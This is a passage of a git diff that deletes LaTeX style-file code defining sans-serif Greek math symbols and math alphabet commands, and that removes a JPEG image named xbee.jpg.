-% within the alphabet commands \mathrm, \mathsf, ...
-
-\DeclareSymbolFont{SFMathGreek}{OT1}{\math@sfGreek}{m}{\greek@shape}
-\SetSymbolFont{SFMathGreek}{normal}{OT1}{\math@sfGreek}{m}{\greek@shape}
-\SetSymbolFont{SFMathGreek}{bold}{OT1}{\math@sfGreek}{bx}{\greek@bold@shape}
-
-\DeclareMathSymbol{\Gamma}{\mathalpha}{SFMathGreek}{"00}
-\DeclareMathSymbol{\Delta}{\mathalpha}{SFMathGreek}{"01}
-\DeclareMathSymbol{\Theta}{\mathalpha}{SFMathGreek}{"02}
-\DeclareMathSymbol{\Lambda}{\mathalpha}{SFMathGreek}{"03}
-\DeclareMathSymbol{\Xi}{\mathalpha}{SFMathGreek}{"04}
-\DeclareMathSymbol{\Pi}{\mathalpha}{SFMathGreek}{"05}
-\DeclareMathSymbol{\Sigma}{\mathalpha}{SFMathGreek}{"06}
-\DeclareMathSymbol{\Upsilon}{\mathalpha}{SFMathGreek}{"07}
-\DeclareMathSymbol{\Phi}{\mathalpha}{SFMathGreek}{"08}
-\DeclareMathSymbol{\Psi}{\mathalpha}{SFMathGreek}{"09}
-\DeclareMathSymbol{\Omega}{\mathalpha}{SFMathGreek}{"0A}
-
-
-\DeclareSymbolFont{SFMathUpGreek}{OT1}{\math@sfGreek}{m}{n}
-\SetSymbolFont{SFMathUpGreek}{normal}{OT1}{\math@sfGreek}{m}{n}
-\SetSymbolFont{SFMathUpGreek}{bold}{OT1}{\math@sfGreek}{bx}{n}
-
-\DeclareMathSymbol{\upDelta}{\mathalpha}{SFMathUpGreek}{"01}
-\DeclareMathSymbol{\upOmega}{\mathalpha}{SFMathUpGreek}{"0A}
-
-
-% Define new behavior for math alphabet commands
-
-
-\SetMathAlphabet{\mathnormal}{normal}{\math@lph@encoding}{\math@sfdefault}{m}{sl}
-\SetMathAlphabet{\mathnormal}{bold}{\math@lph@encoding}{\math@sfdefault}{bx}{\mathnormal@bold@shape}
-
-\SetMathAlphabet{\mathrm}{normal}{\math@lph@encoding}{\mathrm@lph}{m}{n}
-\SetMathAlphabet{\mathrm}{bold}{\math@lph@encoding}{\mathrm@lph}{bx}{n}
-
-\SetMathAlphabet{\mathbf}{normal}{\math@lph@encoding}{\mathbf@lph}{bx}{n}
-\SetMathAlphabet{\mathbf}{bold}{\math@lph@encoding}{\mathbf@lph}{bx}{n}
-
-\SetMathAlphabet{\mathit}{normal}{\math@lph@encoding}{\mathit@lph}{m}{sl}
-\SetMathAlphabet{\mathit}{bold}{\math@lph@encoding}{\mathit@lph}{\mathit@bold@series}{sl}
-
-\SetMathAlphabet{\mathsf}{normal}{\math@lph@encoding}{\mathsf@lph}{m}{n}
-\SetMathAlphabet{\mathsf}{bold}{\math@lph@encoding}{\mathsf@lph}{bx}{n}
-
-
-
-% Define new math alphabet command \mathsl
-
-\DeclareMathAlphabet{\mathsl}{\math@lph@encoding}{\math@sfdefault}{m}{sl}
-\SetMathAlphabet{\mathsl}{bold}{\math@lph@encoding}{\math@sfdefault}{\mathit@bold@series}{sl}
-
-
-\endinput
diff --git a/common/xbee.jpg b/common/xbee.jpg
deleted file mode 100644
index 9bf9d4b767646bf05fb6b0b61a82b2fa7342eec0..0000000000000000000000000000000000000000
Binary files a/common/xbee.jpg and /dev/null differ